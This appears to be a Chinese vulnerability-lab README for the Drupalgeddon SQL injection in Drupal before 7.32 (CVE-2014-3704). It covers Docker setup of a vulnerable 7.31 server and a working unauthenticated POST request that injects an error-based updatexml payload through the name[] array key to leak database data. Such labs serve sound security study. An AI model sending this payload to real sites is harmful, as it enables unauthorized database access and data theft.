Aaron
63285f61aa
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51 lines
1.5 KiB
Markdown
51 lines
1.5 KiB
Markdown
# Drupal < 7.32 "Drupalgeddon" SQL注入漏洞（CVE-2014-3704）
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Drupal是一个使用PHP编写的免费开源的Web内容管理框架，在GNU通用公共许可证下分发。
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在Drupal Core 7.32版本之前的7.x版本中，数据库抽象API中的expandArguments函数没有正确构造预处理语句，这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。
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参考链接：
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- <https://www.drupal.org/SA-CORE-2014-005>
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- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>
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## 环境搭建
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执行如下命令启动一个Drupal 7.31服务器：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8080`将会看到Drupal的安装向导，使用默认配置进行安装。
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注意：MySQL数据库名为`drupal`，数据库用户名和密码均为`root`，地址为`mysql`：
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安装完成后，即可访问首页：
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## 漏洞复现
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该SQL注入漏洞无需身份认证，可以通过发送以下请求来执行恶意SQL语句：
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```
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POST /?q=node&destination=node HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 120
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pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
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```
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如图所示，SQL语句报错信息中包含了用户数据：
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